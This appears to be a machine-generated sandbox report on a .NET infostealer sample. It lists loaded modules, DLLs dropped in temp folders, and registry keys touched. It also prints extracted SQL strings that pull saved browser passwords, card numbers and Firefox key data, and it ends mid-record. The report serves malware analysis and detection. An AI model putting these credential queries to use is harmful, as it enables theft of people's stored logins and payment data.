"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 703d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 755d0000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 74bc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76ba0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6e990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f630000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.PB378EC07#\731848746C032AF3CE33577B793C9B9C\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 70340000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 70320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 702e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAA57FC8CC#\A68AA6199C81FEADF8C95A4EA0254B2C\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 6b6e0000 "powershell.exe" loaded module "NTDLL.DLL" at base 77330000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 702c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 75cf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 757e0000 "powershell.exe" loaded module "MSISIP.DLL" at base 70240000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\CRYPT32.DLL" at base 74cd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 0 "powershell.exe" loaded module "IMM32.DLL" at base 75ac0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 70220000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 70210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 6e100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6dda0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6d240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 6b5b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DIRED13B18A9#\2E76676FBD265F70BE92C82BBF76B8E5\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 6b480000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 70180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6db10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.P6F792626#\FBF36F7901FEC6A367AF3BC05A96B929\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 70120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 6b3c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6b2b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E3134541FD9904DC895922F5256EF8F3\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6b230000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6d9d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.NUMERICS\E7D6ED984300C7212C6E682C4F730B1E\SYSTEM.NUMERICS.NI.DLL" at base 6d1f0000 "powershell.exe" loaded module "SECUR32.DLL" at base 717e0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.CSHARP\F73F48AFB5512225DEDAEE9C88AC5050\MICROSOFT.CSHARP.NI.DLL" at base 6b090000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74840000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75b20000 "powershell.exe" loaded module "RPCRTREMOTE.DLL" at base 6f500000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.PAE3498D9#\ADE0AFCEAC1317E3668A9C8086D8D18B\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 6aeb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFE64A9051#\1561B93D6D25C4A9C3E2659AB29A5E73\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 6ae80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.M870D558A#\7CEB6B903321C16B12386A8DF1BE50F9\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 6adf0000 "powershell.exe" loaded module "NCRYPT.DLL" at base 6ad50000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\BCRYPTPRIMITIVES.DLL" at base 6acc0000 "powershell.exe" loaded module "USERENV.DLL" at base 74e20000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75b20000 "powershell.exe" loaded module "GPAPI.DLL" at base 6aca0000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75b20000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75b20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ac80000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ac80000 "powershell.exe" loaded module "PROFAPI.DLL" at base 74f20000 "powershell.exe" loaded module "SENSAPI.DLL" at base 6ac70000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75b20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 74cd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\URLMON.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 76c40000 "powershell.exe" loaded module "URLMON.DLL" at base 76a50000 "powershell.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74e40000 "powershell.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6adb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ab60000 "powershell.exe" loaded module "GDI32.DLL" at base 76d00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 70070000 "RegSvcs.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 749e0000 "RegSvcs.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "RegSvcs.exe" loaded module "KERNEL32" at base 76940000 "RegSvcs.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "RegSvcs.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 731c0000 "RegSvcs.exe" loaded module "NTDLL.DLL" at base 77330000 "RegSvcs.exe" loaded module "MPR.DLL" at base 748f0000 "RegSvcs.exe" loaded module "SECUR32.DLL" at base 717e0000 "RegSvcs.exe" loaded module "SHLWAPI.DLL" at base 751b0000 "RegSvcs.exe" loaded module "DNSAPI.DLL" at base 73e90000 "RegSvcs.exe" loaded module "SSPICLI.DLL" at base 74bd0000 "RegSvcs.exe" loaded module "RPCRT4.DLL" at base 75010000 "RegSvcs.exe" loaded module "CRYPTBASE.DLL" at base 74bc0000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74840000 "RegSvcs.exe" loaded module "NTMARTA.DLL" at base 73640000 "RegSvcs.exe" loaded module "IPHLPAPI.DLL" at base 748d0000 "RegSvcs.exe" loaded module "ADVAPI32.DLL" at base 76c50000 "RegSvcs.exe" loaded module "WINHTTP.DLL" at base 739a0000 "RegSvcs.exe" loaded module "WS2_32.DLL" at base 75b40000 "RegSvcs.exe" loaded module "OLEAUT32.DLL" at base 76ba0000 "RegSvcs.exe" loaded module "SXS.DLL" at base 70260000 "RegSvcs.exe" loaded module "KERNEL32.DLL" at base 76940000 "RegSvcs.exe" loaded module "CRYPTSP.DLL" at base 70320000 "RegSvcs.exe" loaded module "CREDSSP.DLL" at base 70250000 "RegSvcs.exe" loaded module "DWMAPI.DLL" at base 74820000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74670000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 73670000 "RegSvcs.exe" loaded module "GDI32" at base 76d00000 "RegSvcs.exe" loaded module "CLBCATQ.DLL" at base 74c30000 "RegSvcs.exe" loaded module "%WINDIR%\SYSWOW64\WSHOM.OCX" at base 701e0000 "RegSvcs.exe" loaded module "%WINDIR%\SYSWOW64\SCRRUN.DLL" at base 701b0000 "RegSvcs.exe" loaded module "%PUBLIC%\LIBRARIES\VBSQLITE3.DLL" at base 0 "RegSvcs.exe" loaded module "WINSQLITE3.DLL" at base 0 "RegSvcs.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76940000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 70170000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76c50000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 70100000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6f610000 "RegSvcs.exe" loaded module "OLE32.DLL" at base 755d0000 "RegSvcs.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75b20000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 702e0000 "RegSvcs.exe" loaded module "RPCRTREMOTE.DLL" at base 6f500000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6f4e0000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f430000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 70110000 "RegSvcs.exe" loaded module "RASADHLP.DLL" at base 6f3f0000 "RegSvcs.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6ad10000 "SearchIndexer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fef8c90000 "SearchIndexer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "SearchIndexer.exe" loaded module "KERNEL32" at base 77030000 "SearchIndexer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "SearchIndexer.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fef0440000 "SearchIndexer.exe" loaded module "KERNEL32.DLL" at base 77030000 "SearchIndexer.exe" loaded module "SSPICLI.DLL" at base 7fefcc10000 "SearchIndexer.exe" loaded module "RPCRT4.DLL" at base 7fefda00000 "SearchIndexer.exe" loaded module "NTMARTA.DLL" at base 7fefbef0000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\MSFTE.DLL" at base 0 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\MSTRACER.DLL" at base 0 "SearchIndexer.exe" loaded module "SHELL32.DLL" at base 7fefdc20000 "SearchIndexer.exe" loaded module "OLE32.DLL" at base 7fefeac0000 "SearchIndexer.exe" loaded module "ADVAPI32.DLL" at base 7fefd840000 "SearchIndexer.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7fefd940000 "SearchIndexer.exe" loaded module "PROFAPI.DLL" at base 7fefce40000 "SearchIndexer.exe" loaded module "CRYPTBASE.DLL" at base 7fefcca0000 "SearchIndexer.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 7fefd940000 "SearchIndexer.exe" loaded module "SECUR32.DLL" at base 7fefca40000 "SearchIndexer.exe" loaded module "CRYPTSP.DLL" at base 7fefc630000 "SearchIndexer.exe" loaded module "CREDSSP.DLL" at base 7fefc230000 "SearchIndexer.exe" loaded module "CLBCATQ.DLL" at base 7fefd720000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\MSSRCH.DLL" at base 7fee7cd0000 "SearchIndexer.exe" loaded module "MSIDLE.DLL" at base 7fef1590000 "SearchIndexer.exe" loaded module "KBDUS.DLL" at base 7fef1580000 "SearchIndexer.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77030000 "SearchIndexer.exe" loaded module "POWRPROF.DLL" at base 7fefb780000 "SearchIndexer.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 7fefd940000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fefc330000 "SearchIndexer.exe" loaded module "RPCRTREMOTE.DLL" at base 7fefcd90000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\TQUERY.DLL" at base 7feefd20000 "SearchIndexer.exe" loaded module "TQUERY.DLL" at base 7feefd20000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fefb4d0000 "SearchIndexer.exe" loaded module "PROPSYS.DLL" at base 7fefb4d0000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\EN-US\TQUERY.DLL.MUI" at base 7feef290000 "SearchIndexer.exe" loaded module "MSSRCH.DLL" at base 7fee7cd0000 "SearchIndexer.exe" loaded module "VSSAPI.DLL" at base 7fef9c80000 "SearchIndexer.exe" loaded module "OLEAUT32.DLL" at base 7fefdb30000 "SearchIndexer.exe" loaded module "SAMCLI.DLL" at base 7fefa420000 "SearchIndexer.exe" loaded module "SAMLIB.DLL" at base 7fefb450000 "SearchIndexer.exe" loaded module "NETUTILS.DLL" at base 7fefae40000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\ES.DLL" at base 7fefac10000 "SearchIndexer.exe" loaded module "CFGMGR32.DLL" at base 7fefd1b0000 "SearchIndexer.exe" loaded module "WTSAPI32.DLL" at base 7fefab00000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\MSSPRXY.DLL" at base 7fef2aa0000 "SearchIndexer.exe" loaded module "WINSTA.DLL" at base 7fefcd50000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7fefcc40000 "SearchIndexer.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 7fefdb30000 "SearchIndexer.exe" loaded module "SXS.DLL" at base 7fefccb0000 "SearchIndexer.exe" loaded module "OLEAUT32" at base 7fefdb30000 "SearchIndexer.exe" loaded module "USERENV.DLL" at base 7fefcf00000 "SearchProtocolHost.exe" loaded module "CRYPTBASE.DLL" at base 7fefcca0000 "SearchProtocolHost.exe" loaded module "%WINDIR%\SYSTEM32\MSFTE.DLL" at base 0 "SearchProtocolHost.exe" loaded module "%WINDIR%\SYSTEM32\MSTRACER.DLL" at base 0 "SearchProtocolHost.exe" loaded module "MSIDLE.DLL" at base 7fef159000065:T496,"100011000e033473d8f83b0059e42173@ADVAPI32.dll" "0d000e0022033473e8f83b0059e42173@ADVAPI32.dll" "0d000e00fe023473d4f73b0059e42173@ADVAPI32.dll" "0b000c00cc02347368fb3b0059e42173@ADVAPI32.dll" "10001100da0234736cf23b0059e42173@ADVAPI32.dll" "15001600b09e257364f43b0010b52373@ADVAPI32.dll" "0e000f00609f257364f43b0010b52373@ADVAPI32.dll" "0e000f00bc9f257364f43b0010b52373@ADVAPI32.dll" "11001200e0a7257364f43b0010b52373@ADVAPI32.dll" "1100120074a8257364f43b0010b52373@ADVAPI32.dll" "12001300b8a8257364f43b0010b52373@ADVAPI32.dll" "1200130010a9257364f43b0010b52373@ADVAPI32.dll" "1400150060d7257364f43b0010b52373@ADVAPI32.dll" "1400150078d7257364f43b0010b52373@ADVAPI32.dll" "1400150090d7257364f43b0010b52373@ADVAPI32.dll" "17001800a8d7257364f43b0010b52373@ADVAPI32.dll" "0d000e00c0d7257364f43b0010b52373@ADVAPI32.dll" "11001200d0d7257364f43b0010b52373@ADVAPI32.dll" "11001200e4d7257364f43b0010b52373@ADVAPI32.dll" "0f00100024d9257364f43b0010b52373@ADVAPI32.dll" "1400150064d9257364f43b0010b52373@ADVAPI32.dll" "140015007cd9257364f43b0010b52373@ADVAPI32.dll" "0c000d00c4d9257364f43b0010b52373@ADVAPI32.dll" "0c000d00d4d9257364f43b0010b52373@ADVAPI32.dll"66:T11af,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" was detected as ".NET" and name: "Library" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" was detected as "VB.NET" and name: "Compiler" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" was detected as "Microsoft Linker" and name: "Linker" "chrmstp.exe" was detected as ".NET" and name: "Library" "chrmstp.exe" was detected as "VB.NET" and name: "Compiler" "chrmstp.exe" was detected as "Microsoft Linker" and name: "Linker" "AcroRd32.exe" was detected as ".NET" and name: "Library" "AcroRd32.exe" was detected as "VB.NET" and name: "Compiler" "AcroRd32.exe" was detected as "Microsoft Linker" and name: "Linker" "elevation_service.exe" was detected as ".NET" and name: "Library" "elevation_service.exe" was detected as "VB.NET" and name: "Compiler" "elevation_service.exe" was detected as "Microsoft Linker" and name: "Linker" "wmpnetwk.exe" was detected as ".NET" and name: "Library" "wmpnetwk.exe" was detected as "VB.NET" and name: "Compiler" "wmpnetwk.exe" was detected as "Microsoft Linker" and name: "Linker" "7zG.exe" was detected as ".NET" and name: "Library" "7zG.exe" was detected as "VB.NET" and name: "Compiler" "7zG.exe" was detected as "Microsoft Linker" and name: "Linker" "chrome_pwa_launcher.exe" was detected as ".NET" and name: "Library" "chrome_pwa_launcher.exe" was detected as "VB.NET" and name: "Compiler" "chrome_pwa_launcher.exe" was detected as "Microsoft Linker" and name: "Linker" "cblauncher.exe" was detected as ".NET" and name: "Library" "cblauncher.exe" was detected as "VB.NET" and name: "Compiler" "cblauncher.exe" was detected as "Microsoft Linker" and name: "Linker" "dwtrig20.exe" was detected as ".NET" and name: "Library" "dwtrig20.exe" was detected as "VB.NET" and name: "Compiler" "dwtrig20.exe" was detected as "Microsoft Linker" and name: "Linker" "Aut2exe_x64.exe" was detected as ".NET" and name: "Library" "Aut2exe_x64.exe" was detected as "VB.NET" and name: "Compiler" "Aut2exe_x64.exe" was detected as "Microsoft Linker" and name: "Linker" "setup.exe" was detected as ".NET" and name: "Library" "setup.exe" was detected as "VB.NET" and name: "Compiler" "setup.exe" was detected as "Microsoft Linker" and name: "Linker" "7z.exe" was detected as ".NET" and name: "Library" "7z.exe" was detected as "VB.NET" and name: "Compiler" "7z.exe" was detected as "Microsoft Linker" and name: "Linker" "firefox.exe" was detected as ".NET" and name: "Library" "firefox.exe" was detected as "VB.NET" and name: "Compiler" "firefox.exe" was detected as "Microsoft Linker" and name: "Linker" "notification_helper.exe" was detected as ".NET" and name: "Library" "notification_helper.exe" was detected as "VB.NET" and name: "Compiler" "notification_helper.exe" was detected as "Microsoft Linker" and name: "Linker" "rawshark.exe" was detected as ".NET" and name: "Library" "rawshark.exe" was detected as "VB.NET" and name: "Compiler" "rawshark.exe" was detected as "Microsoft Linker" and name: "Linker" "LogTransport2.exe" was detected as ".NET" and name: "Library" "LogTransport2.exe" was detected as "VB.NET" and name: "Compiler" "LogTransport2.exe" was detected as "Microsoft Linker" and name: "Linker" "updater.exe" was detected as ".NET" and name: "Library" "updater.exe" was detected as "VB.NET" and name: "Compiler" "updater.exe" was detected as "Microsoft Linker" and name: "Linker" "text2pcap.exe" was detected as ".NET" and name: "Library" "text2pcap.exe" was detected as "VB.NET" and name: "Compiler" "text2pcap.exe" was detected as "Microsoft Linker" and name: "Linker" "editcap.exe" was detected as ".NET" and name: "Library" "editcap.exe" was detected as "VB.NET" and name: "Compiler" "editcap.exe" was detected as "Microsoft Linker" and name: "Linker" "WatAdminSvc.exe.bin" was detected as ".NET" and name: "Library" "WatAdminSvc.exe.bin" was detected as "VB.NET" and name: "Compiler" "WatAdminSvc.exe.bin" was detected as "Microsoft Linker" and name: "Linker" "capinfos.exe" was detected as ".NET" and name: "Library" "capinfos.exe" was detected as "VB.NET" and name: "Compiler" "capinfos.exe" was detected as "Microsoft Linker" and name: "Linker" "mergecap.exe" was detected as ".NET" and name: "Library" "mergecap.exe" was detected as "VB.NET" and name: "Compiler" "mergecap.exe" was detected as "Microsoft Linker" and name: "Linker"67:T7b6,"SELECT address FROM ConversationRecipients" (Source: 36163-23-004696D0, Indicator: "select address from conversationrecipients") "SELECT address FROM ConversationSenders" (Source: 36163-23-004696D0, Indicator: "select address from conversationsenders") "SELECT Email FROM LocalContact" (Source: 36163-44-004684D0, Indicator: "select email from localcontact") "SELECT c1, c2, c3 FROM Search_content" (Source: 36163-44-004684D0, Indicator: "select c1, c2, c3 from search_content") "SELECT value FROM identities" (Source: 36163-48-00467760, Indicator: "select value from identities") "SELECT c3author, c4recipients FROM messagesText_content" (Source: 36163-48-00467760, Indicator: "select c3author, c4recipients from messagestext_content") "SELECT * FROM Win32_OperatingSystem" (Source: 36163-82-0045D260, Indicator: "select * from win32_operatingsystem") "SELECT origin_url, username_value, password_value FROM logins" (Source: 36163-88-0044AF30, Indicator: "select origin_url, username_value, password_value from logins") "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards" (Source: 36163-88-0044AF30, Indicator: "select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards") "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards" (Source: 36163-88-0044AF30, Indicator: "select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards") "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" (Source: 36163-108-0044DCE0, Indicator: "select hostname, encryptedusername, encryptedpassword from moz_logins") "SELECT item1 FROM metadata WHERE id = 'password';" (Source: 36163-126-00450000, Indicator: "select item1 from metadata where id = 'password';") "SELECT a11,length(a11) FROM nssPrivate" (Source: 36163-126-00450000, Indicator: "select a11,length(a11) from nssprivate")68:Tf4e,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched "CLSID_SearchHome" (Path: 